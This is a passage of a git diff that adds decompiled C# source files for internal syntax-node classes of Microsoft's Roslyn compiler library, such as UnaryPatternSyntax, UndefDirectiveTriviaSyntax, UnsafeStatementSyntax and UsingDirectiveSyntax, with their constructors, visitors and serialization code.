TypePatternSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)type); + } + + static TypePatternSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(TypePatternSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new TypePatternSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeSyntax.cs new file mode 100644 index 0000000..b3440e6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/TypeSyntax.cs @@ -0,0 +1,42 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class TypeSyntax : ExpressionSyntax +{ + public bool IsVar => IsIdentifierName("var"); + + public bool IsUnmanaged => IsIdentifierName("unmanaged"); + + public bool IsNotNull => IsIdentifierName("notnull"); + + public bool IsNint => IsIdentifierName("nint"); + + public bool IsNuint => IsIdentifierName("nuint"); + + public bool IsRef => base.Kind == SyntaxKind.RefType; + + private bool IsIdentifierName(string id) + { + if (this is IdentifierNameSyntax identifierNameSyntax) + { + return ((object)identifierNameSyntax.Identifier).ToString() == id; + } + return false; + } + + internal TypeSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal TypeSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected TypeSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UnaryPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UnaryPatternSyntax.cs new file mode 100644 index 0000000..3fdb04e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UnaryPatternSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class UnaryPatternSyntax : PatternSyntax +{ + internal readonly SyntaxToken operatorToken; + + internal readonly PatternSyntax pattern; + + public SyntaxToken OperatorToken => operatorToken; + + public PatternSyntax Pattern => pattern; + + internal UnaryPatternSyntax(SyntaxKind kind, SyntaxToken operatorToken, PatternSyntax pattern, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + } + + internal UnaryPatternSyntax(SyntaxKind kind, SyntaxToken operatorToken, PatternSyntax pattern, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + } + + internal UnaryPatternSyntax(SyntaxKind kind, SyntaxToken operatorToken, PatternSyntax pattern) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => operatorToken, + 1 => pattern, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.UnaryPatternSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitUnaryPattern(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitUnaryPattern(this); + } + + public UnaryPatternSyntax Update(SyntaxToken operatorToken, PatternSyntax pattern) + { + if (operatorToken != OperatorToken || pattern != Pattern) + { + UnaryPatternSyntax unaryPatternSyntax = SyntaxFactory.UnaryPattern(operatorToken, pattern); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + unaryPatternSyntax = GreenNodeExtensions.WithDiagnosticsGreen(unaryPatternSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + unaryPatternSyntax = GreenNodeExtensions.WithAnnotationsGreen(unaryPatternSyntax, (IEnumerable)annotations); + } + return unaryPatternSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new UnaryPatternSyntax(base.Kind, operatorToken, pattern, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new UnaryPatternSyntax(base.Kind, operatorToken, pattern, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal UnaryPatternSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorToken = syntaxToken; + PatternSyntax patternSyntax = (PatternSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)patternSyntax); + pattern = patternSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)operatorToken); + writer.WriteValue((IObjectWritable)(object)pattern); + } + + static UnaryPatternSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(UnaryPatternSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new UnaryPatternSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UndefDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UndefDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..d93c031 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UndefDirectiveTriviaSyntax.cs @@ -0,0 +1,165 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class UndefDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken undefKeyword; + + internal readonly SyntaxToken name; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken UndefKeyword => undefKeyword; + + public SyntaxToken Name => name; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal UndefDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken undefKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)undefKeyword); + this.undefKeyword = undefKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal UndefDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken undefKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)undefKeyword); + this.undefKeyword = undefKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal UndefDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken undefKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)undefKeyword); + this.undefKeyword = undefKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => undefKeyword, + 2 => name, + 3 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.UndefDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitUndefDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitUndefDirectiveTrivia(this); + } + + public UndefDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken undefKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || undefKeyword != UndefKeyword || name != Name || endOfDirectiveToken != EndOfDirectiveToken) + { + UndefDirectiveTriviaSyntax undefDirectiveTriviaSyntax = SyntaxFactory.UndefDirectiveTrivia(hashToken, undefKeyword, name, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + undefDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(undefDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + undefDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(undefDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return undefDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new UndefDirectiveTriviaSyntax(base.Kind, hashToken, undefKeyword, name, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new UndefDirectiveTriviaSyntax(base.Kind, hashToken, undefKeyword, name, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal UndefDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + undefKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + name = syntaxToken3; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + endOfDirectiveToken = syntaxToken4; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)undefKeyword); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static UndefDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(UndefDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new UndefDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UnsafeStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UnsafeStatementSyntax.cs new file mode 100644 index 0000000..4c7be13 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UnsafeStatementSyntax.cs @@ -0,0 +1,159 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class UnsafeStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken unsafeKeyword; + + internal readonly BlockSyntax block; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken UnsafeKeyword => unsafeKeyword; + + public BlockSyntax Block => block; + + internal UnsafeStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken unsafeKeyword, BlockSyntax block, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)unsafeKeyword); + this.unsafeKeyword = unsafeKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + + internal UnsafeStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken unsafeKeyword, BlockSyntax block, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)unsafeKeyword); + this.unsafeKeyword = unsafeKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + + internal UnsafeStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken unsafeKeyword, BlockSyntax block) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)unsafeKeyword); + this.unsafeKeyword = unsafeKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => unsafeKeyword, + 2 => block, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.UnsafeStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitUnsafeStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitUnsafeStatement(this); + } + + public UnsafeStatementSyntax Update(SyntaxList attributeLists, SyntaxToken unsafeKeyword, BlockSyntax block) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || unsafeKeyword != UnsafeKeyword || block != Block) + { + UnsafeStatementSyntax unsafeStatementSyntax = SyntaxFactory.UnsafeStatement(attributeLists, unsafeKeyword, block); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + unsafeStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(unsafeStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + unsafeStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(unsafeStatementSyntax, (IEnumerable)annotations); + } + return unsafeStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new UnsafeStatementSyntax(base.Kind, attributeLists, unsafeKeyword, block, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new UnsafeStatementSyntax(base.Kind, attributeLists, unsafeKeyword, block, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal UnsafeStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + unsafeKeyword = syntaxToken; + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + block = blockSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)unsafeKeyword); + writer.WriteValue((IObjectWritable)(object)block); + } + + static UnsafeStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(UnsafeStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new UnsafeStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UsingDirectiveSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UsingDirectiveSyntax.cs new file mode 100644 index 0000000..88d5976 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UsingDirectiveSyntax.cs @@ -0,0 +1,249 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class UsingDirectiveSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken? globalKeyword; + + internal readonly SyntaxToken usingKeyword; + + internal readonly SyntaxToken? staticKeyword; + + internal readonly SyntaxToken? unsafeKeyword; + + internal readonly NameEqualsSyntax? alias; + + internal readonly TypeSyntax namespaceOrType; + + internal readonly SyntaxToken semicolonToken; + + public SyntaxToken? GlobalKeyword => globalKeyword; + + public SyntaxToken UsingKeyword => usingKeyword; + + public SyntaxToken? StaticKeyword => staticKeyword; + + public SyntaxToken? UnsafeKeyword => unsafeKeyword; + + public NameEqualsSyntax? Alias => alias; + + public TypeSyntax NamespaceOrType => namespaceOrType; + + public SyntaxToken SemicolonToken => semicolonToken; + + internal UsingDirectiveSyntax(SyntaxKind kind, SyntaxToken? globalKeyword, SyntaxToken usingKeyword, SyntaxToken? staticKeyword, SyntaxToken? unsafeKeyword, NameEqualsSyntax? alias, TypeSyntax namespaceOrType, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 7; + if (globalKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)globalKeyword); + this.globalKeyword = globalKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)usingKeyword); + this.usingKeyword = usingKeyword; + if (staticKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)staticKeyword); + this.staticKeyword = staticKeyword; + } + if (unsafeKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)unsafeKeyword); + this.unsafeKeyword = unsafeKeyword; + } + if (alias != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)alias); + this.alias = alias; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)namespaceOrType); + this.namespaceOrType = namespaceOrType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal UsingDirectiveSyntax(SyntaxKind kind, SyntaxToken? globalKeyword, SyntaxToken usingKeyword, SyntaxToken? staticKeyword, SyntaxToken? unsafeKeyword, NameEqualsSyntax? alias, TypeSyntax namespaceOrType, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 7; + if (globalKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)globalKeyword); + this.globalKeyword = globalKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)usingKeyword); + this.usingKeyword = usingKeyword; + if (staticKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)staticKeyword); + this.staticKeyword = staticKeyword; + } + if (unsafeKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)unsafeKeyword); + this.unsafeKeyword = unsafeKeyword; + } + if (alias != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)alias); + this.alias = alias; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)namespaceOrType); + this.namespaceOrType = namespaceOrType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal UsingDirectiveSyntax(SyntaxKind kind, SyntaxToken? globalKeyword, SyntaxToken usingKeyword, SyntaxToken? staticKeyword, SyntaxToken? unsafeKeyword, NameEqualsSyntax? alias, TypeSyntax namespaceOrType, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 7; + if (globalKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)globalKeyword); + this.globalKeyword = globalKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)usingKeyword); + this.usingKeyword = usingKeyword; + if (staticKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)staticKeyword); + this.staticKeyword = staticKeyword; + } + if (unsafeKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)unsafeKeyword); + this.unsafeKeyword = unsafeKeyword; + } + if (alias != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)alias); + this.alias = alias; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)namespaceOrType); + this.namespaceOrType = namespaceOrType; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => globalKeyword, + 1 => usingKeyword, + 2 => staticKeyword, + 3 => unsafeKeyword, + 4 => alias, + 5 => namespaceOrType, + 6 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitUsingDirective(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitUsingDirective(this); + } + + public UsingDirectiveSyntax Update(SyntaxToken globalKeyword, SyntaxToken usingKeyword, SyntaxToken staticKeyword, SyntaxToken unsafeKeyword, NameEqualsSyntax alias, TypeSyntax namespaceOrType, SyntaxToken semicolonToken) + { + if (globalKeyword != GlobalKeyword || usingKeyword != UsingKeyword || staticKeyword != StaticKeyword || unsafeKeyword != UnsafeKeyword || alias != Alias || namespaceOrType != NamespaceOrType || semicolonToken != SemicolonToken) + { + UsingDirectiveSyntax usingDirectiveSyntax = SyntaxFactory.UsingDirective(globalKeyword, usingKeyword, staticKeyword, unsafeKeyword, alias, namespaceOrType, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + usingDirectiveSyntax = GreenNodeExtensions.WithDiagnosticsGreen(usingDirectiveSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + usingDirectiveSyntax = GreenNodeExtensions.WithAnnotationsGreen(usingDirectiveSyntax, (IEnumerable)annotations); + } + return usingDirectiveSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new UsingDirectiveSyntax(base.Kind, globalKeyword, usingKeyword, staticKeyword, unsafeKeyword, alias, namespaceOrType, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new UsingDirectiveSyntax(base.Kind, globalKeyword, usingKeyword, staticKeyword, unsafeKeyword, alias, namespaceOrType, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal UsingDirectiveSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 7; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + if (syntaxToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + globalKeyword = syntaxToken; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + usingKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + staticKeyword = syntaxToken3; + } + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + unsafeKeyword = syntaxToken4; + } + NameEqualsSyntax nameEqualsSyntax = (NameEqualsSyntax)reader.ReadValue(); + if (nameEqualsSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameEqualsSyntax); + alias = nameEqualsSyntax; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + namespaceOrType = typeSyntax; + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + semicolonToken = syntaxToken5; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)globalKeyword); + writer.WriteValue((IObjectWritable)(object)usingKeyword); + writer.WriteValue((IObjectWritable)(object)staticKeyword); + writer.WriteValue((IObjectWritable)(object)unsafeKeyword); + writer.WriteValue((IObjectWritable)(object)alias); + writer.WriteValue((IObjectWritable)(object)namespaceOrType); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static UsingDirectiveSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(UsingDirectiveSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new UsingDirectiveSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UsingStatementSyntax.cs 